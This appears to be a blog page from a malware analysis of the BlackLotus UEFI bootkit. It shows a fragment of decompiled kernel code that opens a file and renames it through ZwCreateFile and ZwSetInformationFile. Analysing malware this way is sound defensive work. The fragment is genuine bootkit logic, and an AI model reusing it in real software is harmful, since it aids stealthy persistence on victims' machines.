    if ( (int)((__int64 (__fastcall *)(__int64 *, __int64, OBJECT_ATTRIBUTES *, IO_STATUS_BLOCK *, _QWORD, int, int, int, int, _QWORD, _DWORD))ZwCreateFile)(
                &fhandle,
                0x10000000i64,
                &v9,
                &IoStatusBlock,
                0i64,
                0x80,
                5,
                1,
                0x40,
                0i64,
                0) >= 0 )
    {
      memset(finfo, 0, 0x220ui64);
      finfo->RootDirectory = 0i64;
      finfo->Flags = 0;
      finfo->FileNameLength = 2 * wcslen_14000329C(a2);
      v5 = wcslen_14000329C(a2);
      memcpy_140001038(finfo->FileName, a2, 2i64 * v5);
      if ( (int)((__int64 (__fastcall *)(__int64, IO_STATUS_BLOCK *, FILE_RENAME_INFORMATION *, __int64, _FILE_INFORMATION_CLASS))ZwSetInformationFile)(
                  fhandle,
                  &IoStatusBlock,
                  finfo,
                  0x220i64,
                  FileRenameInformation) >= 0 )
        v3 = 1;
    }
  }

  if ( fhandle )
    ((void (*)(void))ZwClose)();

  if ( finfo )
    ((void (__fastcall *)(FILE_RENAME_INFORMATION *))ExFreePool)(finfo);

  return v3;

标签:BlackLotus,__,EFI,--,0i64,boot,fastcall,int,int64
From: https://www.cnblogs.com/DirWang/p/17294545.html

相关文章

  • 万字详解 | Java 流式编程
    概述StreamAPI是Java中引入的一种新的数据处理方法。它提供了一种高效且易于使用的方法来处理数据集合。StreamAPI支持函数式编程,可以让我们以简洁、优雅的方式进行数据操作,还有使用Stream的两大原因:在大多数情况下,将对象存储在集合中就是为了处理它们,因此你会发现你把......
  • 列表 增删改查
    1.列表.append(元素)向列表追加元素2.列表.extend(元素)将数据容器的内容一次取出,追加到元素的尾部3.列表.insert(下标,元素)在指定下标处,插入指定的元素4.del列表[下标]删除列表指定下标元素5.列表.pop(下标)删除列表指定下标元素6.列表.remove(元素)从前向后,删除此元......
  • day37(2023.4.6)
    1.数据结构简介 2. 线性结构线性结构 栈结构  栈的定义栈是一种只能从一端存取数据且遵循"后进先出(LIFO)"原则的线性存储结构。实现栈容器: 运行结果: 3.链表结构 4.实现单项链表  运行结果: 5.实现双向链表双向链表也叫双链表,是链表的一种......
  • 内存淘汰策略|页面置换算法对比总结
    在学习【操作系统】【MySQL】【Redis】后,发现其都有一些缓存淘汰的策略,因此一篇小文章总结一下。目前还没着笔,初略一想MySQL和操作系统应该都是使用的年轻代和老生代的改进策略,而Redis使用的是随机抽的策略。MySQLMySQL中存在一个内存缓存池,BufferPool。里面存在着控制块和......
  • JumpGame
    packageDynamicPlanning;/***55.跳跃游戏*给定一个非负整数数组nums,你最初位于数组的第一个下标。*数组中的每个元素代表你在该位置可以跳跃的最大长度。*判断你是否能够到达最后一个下标。*//***设想一下,对于数组中的任意一个位置y,我们如何判断它是......
  • CSS——@layer规则
    前言之前我们是如何避免引入多方的CSS文件时冲突?注意引入顺序、注意选择器优先级、使用important进行强制覆盖,现在你有了更好的选择@layer,@layer中后声明的优先级高于先声明的;;文档w3|css-cascade-5|MDN|@layer浏览器支持情况目前来看主流的一些浏览器都是支持......
  • SearchInRotatedSortedArray2
    packageBisectionMethod;/***二分法精髓就是每次努力扔掉一半*81.搜索旋转排序数组II*已知存在一个按非降序排列的整数数组nums,数组中的值不必互不相同。*在传递给函数之前,nums在预先未知的某个下标k(0<=k<nums.length)上进行了旋转,*使数组变为[......
  • vue全家桶进阶之路27:Vue.js 3.0的下载和安装
    使用脚手架vue-cli创建vue3项目,创建前需要准备以下:1、node.js环境见:https://www.cnblogs.com/beichengshiqiao/p/17251233.html2、npm、cnpm工具见:https://www.cnblogs.com/beichengshiqiao/p/17251860.html3、vue框架见:https://www.cnblogs.com/beichengshiqia......
  • uni-app:nvue:配置底部安全区域(hbuilderx 3.7.3)
    一,文档地址:https://uniapp.dcloud.net.cn/collocation/manifest-app.html#full-manifest如图: 说明:offset:底部安全区域偏移,"none"表示不空出安全区域,"auto"自动计算空出安全区域二,编辑配置文件:manifest.json,如图所示,选择源码视图,在app-plus一项下进行设置1,取......
  • c++ primer第一章
    11.2cinistream类型该对象被称为标准输入;coutostream对象被称为标准输出对象。cerr来输出警告和错误信息,clog来输出程序运行时的一般性消息。 写入endl的效果是结束当前行,并将与设备关联的缓冲区中的内容刷到设备中。缓冲刷新操作可以保证到目前为止程序所产生的所有输出......